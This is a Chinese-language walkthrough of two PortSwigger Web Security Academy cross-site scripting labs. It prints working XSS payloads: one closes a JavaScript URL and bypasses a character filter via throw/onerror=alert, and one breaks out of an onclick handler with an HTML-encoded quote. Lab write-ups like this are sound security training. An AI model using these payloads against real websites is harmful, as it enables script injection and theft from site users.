本文知识点:
(Lab 26)JavaScript URL中反射的XSS,其中一些字符被阻止(闭合+定义了一个匿名函数 `x`,该函数内部包含一个 `throw` 语句,当执行时会引发异常,同时尝试将全局的 `onerror` 设置为 `alert` 函数,然后返回数字 `1337`)
(Lab 23)使用尖括号和双引号将 XSS 存储到onclick事件中 HTML 编码并转义单引号和反斜杠(javascript闭合,且在onlick中)
靶场地址:https://portswigger.net/web-security
实验26:JavaScript URL中反射的XSS,其中一些字符被阻止
1.输入postid等于5,发现5在a标签的js代码post提交中
2.构造payload进行闭合 5&'},x=x=>{throw/**/onerror=alert,1337},toString=x,window+'',{x:',点击a标签Back to Blog即可弹窗(需要url编码,闭合+定义了一个匿名函数 `x`,该函数内部包含一个 `throw` 语句,当执行时会引发异常,同时尝试将全局的 `onerror` 设置为 `alert` 函数,然后返回数字 `1337`)
<a href="javascript:fetch('/analytics', {method:'post',body:'/post?postId=5&'},x=x=>{throw/**/onerror=alert,1337},toString=x,window+'',{x:''}).finally(_ => window.location = '/')">Back to Blog</a>
=>
<a href="javascript:fetch('/analytics', {method:'post',body:'/post?postId=5&'},x=x=>{throw/**/onerror=alert,1337},toString=x,window+'',{x:''}).finally(_ => window.location = '/')">Back to Blog</a>
实验23:使用尖括号和双引号将 XSS 存储到onclick事件中 HTML 编码并转义单引号和反斜杠
1.提交一个评论,并刷新页面,发现提交的域名在a标签的onclick函数中
2.构造payload进行闭合 http://foo?'-alert(1)-' ,即可弹窗(- `onclick` 事件处理程序:当用户点击这个链接时,内联的 JavaScript 代码将执行。这段代码创建了一个名为 `tracker` 的对象,该对象具有一个 `track` 方法,然后调用 `tracker.track('http://foo?'-alert(1)-'');`。)
<a id="author" href="http://123.com" onclick="var tracker={track(){}};tracker.track('http://123.com');">1</a>
=>
<a id="author" href="http://foo?'-alert(1)-'" onclick="var tracker={track(){}};tracker.track('http://foo?'-alert(1)-'');">aaa</a>
原文始发于微信公众号(鲲哥的Bypass之旅):portswigger靶场-Lab26、23
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论